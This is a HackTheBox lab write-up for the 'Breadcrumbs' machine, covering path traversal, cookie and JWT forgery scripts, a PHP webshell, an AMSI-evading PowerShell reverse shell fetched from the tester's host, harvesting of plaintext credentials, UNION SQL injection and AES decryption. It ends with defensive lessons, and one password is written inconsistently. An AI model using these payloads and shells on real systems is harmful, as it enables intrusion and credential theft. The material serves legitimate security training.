HTB: Breadcrumbs Writeup

Breadcrumbs - HackTheBox Writeup

Machine Information

AttributeDetails
NameBreadcrumbs
OSWindows
DifficultyHard
Points40
Release DateN/A
IP Address10.10.10.228
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Breadcrumbs is a hard-difficulty Windows machine that demonstrates realistic web application vulnerabilities combined with creative privilege escalation techniques. The attack path begins with exploiting a path traversal vulnerability in a library management application to read server-side source code. Analysis of the PHP source reveals custom session handling and JWT secrets, enabling session forgery to authenticate as an administrative user. This access leads to an unrestricted file upload vulnerability, resulting in remote code execution. Lateral movement is achieved through plaintext credentials discovered in application data files and Windows Sticky Notes databases. Final privilege escalation exploits a SQL injection vulnerability in a custom password manager application, allowing decryption of the Administrator’s credentials using recovered AES keys.

TL;DR: Path traversal → source code disclosure → JWT + PHPSESSID forgery (paul) → unrestricted file upload → RCE as www-data → pizzaDeliveryUserData credentials → SSH as juliette → Sticky Notes SQLite database → SSH as development → UNION SQLi in passmanager.htb → AES key + ciphertext recovery → credential decryption → SSH as Administrator.


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan to identify open ports
nmap -sC -sV -T4 -p- 10.10.10.228

Results:

The scan reveals a Windows server running multiple services:

  • Port 22 - SSH (OpenSSH for Windows)
  • Port 80 - HTTP (Apache httpd 2.4.46)
  • Port 443 - HTTPS (Apache httpd 2.4.46)
  • Port 3306 - MySQL
  • Port 445 - SMB

The presence of both Apache web server and MySQL strongly suggests a dynamic web application backed by a database.

Service Enumeration

HTTP/HTTPS (Ports 80/443)

Browsing to http://10.10.10.228 reveals a “Library” application with a search interface for books. The application allows searching by title and displays book descriptions in pop-up modals.

Terminal window
# Directory enumeration on the web root
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-u http://10.10.10.228 -t 50

Key directories discovered:

  • /books - Contains HTML files with book descriptions
  • /portal - Authentication-protected portal application
Terminal window
# Further enumeration of the portal directory
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-u http://10.10.10.228/portal -t 50 -x php

Additional findings:

  • /portal/login.php - Authentication page
  • /portal/signup.php - User registration
  • /portal/cookie.php - Cookie generation logic
  • /portal/uploads - File upload directory
  • /portal/includes/ - Backend PHP controllers

Vulnerability Assessment

  1. Path Traversal in Book Loading - The book parameter in includes/bookController.php accepts relative paths without proper sanitization
  2. Custom Session Management - Non-standard PHPSESSID generation using predictable MD5 hashing
  3. JWT Secret Exposure - Hardcoded JWT signing key in source code
  4. Unrestricted File Upload - File upload functionality lacking extension and content validation
  5. SQL Injection - UNION-based SQLi in the password manager backend service

Initial Foothold

Path Traversal - Source Code Disclosure

After creating a test account and exploring the portal interface, intercepting requests in Burp Suite reveals the book loading mechanism:

POST /includes/bookController.php HTTP/1.1
Host: 10.10.10.228
Content-Type: application/x-www-form-urlencoded
book=book1.html

The application loads book descriptions from static HTML files in the /books directory. Testing for path traversal:

Terminal window
# Test path traversal with Windows system file
curl -X POST http://10.10.10.228/includes/bookController.php \
-d 'book=..\..\..\windows\win.ini'

Success - The server returns the contents of win.ini, confirming arbitrary file read capability. This vulnerability allows reading PHP source code to understand the application’s authentication and session management.

Session Forgery - Analyzing Authentication

Reading the authentication controller source:

Terminal window
# Extract authController.php via path traversal
curl -X POST http://10.10.10.228/includes/bookController.php \
-d 'book=..\portal\authController.php'

The source reveals two critical components:

1. JWT Token Generation:

$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$payload = array(
"data" => array(
"username" => $username
)
);
$jwt = JWT::encode($payload, $secret_key, 'HS256');
setcookie("token", $jwt, time() + (86400 * 30), "/");

2. Custom Session ID Generation: Reading portal/cookie.php:

Terminal window
# Extract cookie.php
curl -X POST http://10.10.10.228/includes/bookController.php \
-d 'book=..\portal\cookie.php'
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_". $username[$seed] . "(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}

The function generates a PHPSESSID by:

  1. Selecting a random character from the username
  2. Concatenating it with a salt: s4lTy_stR1nG_[char](!528./9890
  3. Hashing with MD5 and prepending the username

Since the character is randomly selected from a small set (the username), we can brute-force all possibilities.

Targeting User “paul”

Reading portal/php/files.php reveals access control:

if($_SESSION['username'] !== "paul"){
header("Location: ../index.php");
}

The file management functionality requires authentication as user paul. We need to forge both a valid PHPSESSID and JWT for this user.

Brute-forcing paul’s PHPSESSID:

session_forge.py
from hashlib import md5
import requests
username = "paul"
target = "http://10.10.10.228/portal/php/files.php"
# Generate all possible session IDs for "paul"
# Username has 4 unique characters: p, a, u, l
for char in username:
key = f"s4lTy_stR1nG_{char}(!528./9890"
sessid = username + md5(key.encode()).hexdigest()
cookies = {"PHPSESSID": sessid}
resp = requests.get(target, cookies=cookies, allow_redirects=False)
# Valid session returns 200, invalid returns 302 redirect
if resp.status_code != 302:
print(f"[+] Valid PHPSESSID: {sessid}")
break

Running the script produces a valid session ID (the exact value will vary based on which character was randomly selected during paul’s last login, but testing shows paul47200b180ccd6835d25d034eeb6e6390 returns HTTP 200).

Forging JWT for paul:

jwt_forge.py
import jwt
data = {
"data": {
"username": "paul"
}
}
secret = "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e"
token = jwt.encode(data, secret, algorithm="HS256")
print(f"[+] Forged JWT: {token}")

Output:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

Unrestricted File Upload - Webshell Deployment

With both cookies forged, we can access the file management interface. Analyzing includes/fileController.php:

Terminal window
# Extract fileController.php via path traversal
curl -X POST http://10.10.10.228/includes/bookController.php \
-d 'book=..\portal\includes\fileController.php'

The upload handler checks the JWT token and session:

$admins = array("paul");
$user = validate()->data->username;
if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
$uploads_dir = '../uploads';
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_POST['task'];
if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
$ret = "Success. Have a great weekend!";
}
}

Critical vulnerability: The filename is taken directly from the task POST parameter with no validation of file extension or content type.

Deploying a minimal PHP webshell:

Terminal window
# Create webshell payload
# <?=`$_GET[0]`?> - Ultra-compact webshell using short tags and backtick execution
curl -X POST http://10.10.10.228/portal/includes/fileController.php \
-H "Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU" \
-F "file=@-;filename=shell.php" \
-F "task=shell.php" \
<<< '<?=`$_GET[0]`?>'

Testing RCE:

breadcrumbs\www-data
# Execute whoami command via the webshell
curl "http://10.10.10.228/portal/uploads/shell.php?0=whoami"

Gaining Interactive Shell

Terminal window
# Prepare Nishang PowerShell reverse shell
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O tcp.ps1
# Add execution line and rename function to evade AMSI
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444' >> tcp.ps1
sed -i "s/PowerShellTcp/tcpps/g" tcp.ps1
# Start listener
nc -lvnp 4444
# Trigger reverse shell via webshell
curl "http://10.10.10.228/portal/uploads/shell.php" \
--data-urlencode '0=powershell iex(iwr http://10.10.14.6/tcp.ps1 -useb)'

Result: Interactive PowerShell session as breadcrumbs\www-data.


Privilege Escalation

Lateral Movement: www-data → juliette

Enumerating the web application directory structure:

Terminal window
PS C:\xampp\htdocs\portal> dir
Directory: C:\xampp\htdocs\portal
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2020 11:31 AM db
d----- 11/28/2020 2:11 AM includes
d----- 11/4/2020 6:52 AM pizzaDeliveryUserData
d----- 11/20/2020 4:33 PM uploads

The pizzaDeliveryUserData directory contains JSON files:

Terminal window
PS C:\xampp\htdocs\portal\pizzaDeliveryUserData> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2020 11:48 AM 170 alex.disabled
-a---- 11/4/2020 11:48 AM 170 emma.disabled
-a---- 11/4/2020 11:48 AM 170 jack.disabled
-a---- 11/4/2020 11:48 AM 170 john.disabled
-a---- 11/4/2020 11:48 AM 201 juliette.json
-a---- 11/4/2020 11:48 AM 170 paul.disabled

Only juliette.json is active (not .disabled):

Terminal window
PS C:\xampp\htdocs\portal\pizzaDeliveryUserData> type juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}

Credentials found: juliette:jUli901./()!)

Terminal window
# SSH as juliette
ssh juliette@10.10.10.228
# Password: jUli901./())!
PS C:\Users\juliette\Desktop> type user.txt
<redacted>

User flag captured.

Lateral Movement: juliette → development

Examining juliette’s desktop reveals a TODO list:

Terminal window
PS C:\Users\juliette\Desktop> type todo.html
<table>
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
</table>

The note mentions Sticky Notes storing passwords in plaintext. Windows Sticky Notes data is stored in a SQLite database at:

%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\
Terminal window
PS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2020 12:10 PM 20480 <redacted>.storage.session
-a---- 11/29/2020 3:10 AM 98304 plum.sqlite
-a---- 11/29/2020 3:10 AM 32768 plum.sqlite-shm
-a---- 12/2/2020 10:59 AM 329632 plum.sqlite-wal

Exfiltrating the database:

Terminal window
# From local Kali machine
scp 'juliette@10.10.10.228:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.*' .
# Examine with sqlite3
sqlite3 plum.sqlite
sqlite> .tables
Media Note Session User metadata stroke
sqlite> SELECT Text FROM Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]

Credentials found: development:fN3)sN5Ee@g

Terminal window
# SSH as development user
ssh development@10.10.10.228
# Password: fN3)sN5Ee@g

Privilege Escalation: development → Administrator

The development user has access to C:\Development:

Terminal window
PS C:\Development> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/29/2020 3:11 AM 549376 Krypter_Linux

Exfiltrating the binary for analysis:

Terminal window
scp development@10.10.10.228:/Development/Krypter_Linux .
file Krypter_Linux
# Krypter_Linux: ELF 32-bit LSB executable, Intel 80386

Using strings and reverse engineering (with Ghidra or similar), the binary reveals:

  1. It makes an HTTP POST request to http://passmanager.htb:1234/index.php
  2. POST data: method=select&username=administrator&table=passwords
  3. Purpose: Retrieve an AES decryption key from a password manager service

Checking for the service:

Terminal window
PS C:\Development> netstat -ano | findstr 1234
TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING 2164

Port 1234 is listening locally. Port forwarding via SSH:

Terminal window
# From Kali
ssh -L 1234:127.0.0.1:1234 development@10.10.10.228 -N

Testing the password manager endpoint:

Terminal window
curl http://localhost:1234/index.php \
-d 'method=select&username=administrator&table=passwords'
# Response:
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}

The response provides an AES key but not the encrypted password itself. The POST data format suggests SQL:

SELECT aes_key FROM passwords WHERE username='administrator' AND table='passwords';

SQL Injection in Password Manager

Testing UNION-based SQLi:

Terminal window
# Test with UNION SELECT
curl http://localhost:1234/index.php \
-d 'method=select&username=administrator&table=passwords UNION SELECT 1-- -'
# Response:
selectarray(2) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
[1]=>
array(1) {
["aes_key"]=>
string(1) "1"
}
}

Injection confirmed! Now we can extract data from the database.

Enumerating database structure:

Terminal window
# Get column names from passwords table
curl http://localhost:1234/index.php \
-d 'method=select&username=&table=passwords UNION SELECT column_name FROM information_schema.columns WHERE table_schema=database()-- -'
# Columns found: id, account, password, aes_key

Extracting the encrypted password:

Terminal window
curl http://localhost:1234/index.php \
-d 'method=select&username=&table=passwords UNION SELECT password FROM passwords-- -'
# Response:
selectarray(2) {
[0]=>
array(1) {
["aes_key"]=>
string(44) "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="
}
}

AES Decryption

We now have:

  • AES Key: k19D193j.<19391(
  • Ciphertext (base64): H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
  • Algorithm: AES-CBC (inferred from binary analysis)
aes_decrypt.py
import pyaes
from base64 import b64decode
key = b"k19D193j.<19391("
ciphertext_b64 = "H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw="
# Decode base64
ciphertext = b64decode(ciphertext_b64)
# AES-CBC with zero IV (default when not specified)
aes = pyaes.AESModeOfOperationCBC(key)
# Decrypt in 16-byte blocks
plaintext = b''
for i in range(0, len(ciphertext), 16):
plaintext += aes.decrypt(ciphertext[i:i+16])
print(f"Decrypted password: {plaintext.decode('utf-8', errors='ignore')}")

Output:

Decrypted password: p@ssw0rd!@#$9890./

The password includes PKCS#7 padding bytes at the end (visible as non-printable characters), but the actual password is: p@ssw0rd!@#$9890./

Root Access

Terminal window
# SSH as Administrator
ssh administrator@10.10.10.228
# Password: p@ssw0rd!@#$9890./
PS C:\Users\Administrator\Desktop> type root.txt
<redacted>

Root flag captured.


Attack Chain Summary

Port Scan (80/443, 22, 3306, 445)
Web Enumeration (Library app + /portal)
Path Traversal (book=..\..\..\windows\win.ini)
Source Code Disclosure (authController.php, cookie.php, fileController.php)
Session Analysis (JWT secret + makesession() salt recovered)
Brute-force PHPSESSID for "paul" (4 candidates, found paul47200b...)
JWT Forgery ({"data":{"username":"paul"}} signed with recovered secret)
Unrestricted File Upload (<?=`$_GET[0]`?> → shell.php)
RCE as www-data (webshell → PowerShell reverse shell)
Credential Discovery (pizzaDeliveryUserData/juliette.json)
SSH as juliette (jUli901./())!) → user.txt
Sticky Notes Enumeration (plum.sqlite + WAL)
SSH as development (fN3)sN5Ee@g)
Binary Analysis (Krypter_Linux → passmanager.htb:1234)
Port Forwarding (SSH tunnel to 127.0.0.1:1234)
UNION SQL Injection (extract password column)
AES-CBC Decryption (key k19D193j.<19391( + ciphertext)
SSH as Administrator (p@ssw0rd!@#$9890./) → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterWeb directory and file discovery
curlHTTP request manipulation and testing
Burp SuiteHTTP traffic interception and analysis
python3Session/JWT forgery scripting
ncReverse shell listener
NishangPowerShell reverse shell (Invoke-PowerShellTcp.ps1)
sshRemote access and port forwarding
scpFile exfiltration
sqlite3SQLite database examination
stringsBinary analysis
GhidraReverse engineering ELF binary
pyaesAES decryption

Key Learnings

Techniques Practiced

  • Path Traversal Exploitation - Leveraging ../ sequences to read arbitrary server files, including PHP source code
  • Source Code Analysis - Reading backend code to understand authentication mechanisms and identify vulnerabilities
  • Custom Session Forgery - Reverse-engineering non-standard PHPSESSID generation using predictable MD5 hashing
  • JWT Token Manipulation - Crafting valid JSON Web Tokens using exposed signing secrets (HS256 algorithm)
  • Unrestricted File Upload - Bypassing weak validation to deploy webshells via filename manipulation
  • Windows Credential Harvesting - Extracting plaintext passwords from Microsoft Sticky Notes SQLite databases
  • Binary Reverse Engineering - Analyzing ELF executables to discover backend service endpoints and protocols
  • SSH Port Forwarding - Tunneling to localhost-only services for remote exploitation
  • UNION-based SQL Injection - Extracting sensitive data from database columns using UNION SELECT queries
  • AES-CBC Decryption - Decrypting ciphertext when both key and algorithm are known (zero-IV implementation)

Lessons Learned

  1. Defense in Depth for File Operations - Path traversal vulnerabilities can expose far more than intended. Always validate and sanitize file paths using allowlists, canonicalization, and chroot/jail environments. Never rely on blacklisting ../ patterns alone.

  2. Secure Session Management - Custom session ID generation is error-prone. The makesession() function used weak entropy (random character from username) combined with a static salt, making brute-force trivial. Use cryptographically secure random number generators (e.g., random_bytes() in PHP) and never implement custom session handling when framework defaults are available.

  3. JWT Secret Protection - Hardcoded JWT secrets in source code completely defeat the purpose of token-based authentication. Secrets should be stored in environment variables or secure vaults, rotated regularly, and never committed to version control. Use asymmetric algorithms (RS256) when secret protection is difficult.

  4. File Upload Validation - Trusting client-controlled filenames ($_POST['task']) without validation enables trivial webshell deployment. Always validate file extensions against an allowlist, verify MIME types, rename uploads to random identifiers, store outside the webroot, and serve through a separate domain/handler.

  5. Credential Storage in Applications - The pizzaDeliveryUserData JSON files and Sticky Notes database both contained plaintext passwords. Never store credentials in plaintext—use proper hashing (bcrypt, Argon2) for passwords and encryption with key management for secrets. Windows Sticky Notes is not designed for credential storage.

  6. SQL Injection Prevention - The password manager service concatenated user input directly into SQL queries. Always use parameterized queries/prepared statements. Input validation is not sufficient—even escaped input can be bypassed with encoding tricks.

  7. Localhost Service Security - Services bound to 127.0.0.1 are not inherently secure. Once an attacker has any foothold (SSH access, RCE), port forwarding negates localhost binding. Implement authentication even for local-only services, especially those handling sensitive data like credentials.

  8. Defense Against Reverse Engineering - The Krypter_Linux binary revealed the entire password manager API through static analysis. Binaries distributed to users should assume compromise. Sensitive endpoints should require authentication (API keys, certificates), and encryption keys should never be retrievable without authorization.


Proof of Ownership

User Flag (juliette): <redacted>
Root Flag (Administrator): <redacted>

References

This writeup drew explanatory context from the official HackTheBox community writeup for Breadcrumbs by MinatoTW (Document No. D21.100.123, 14th July 2021), used to clarify exploitation techniques and provide additional context on vulnerability mechanics.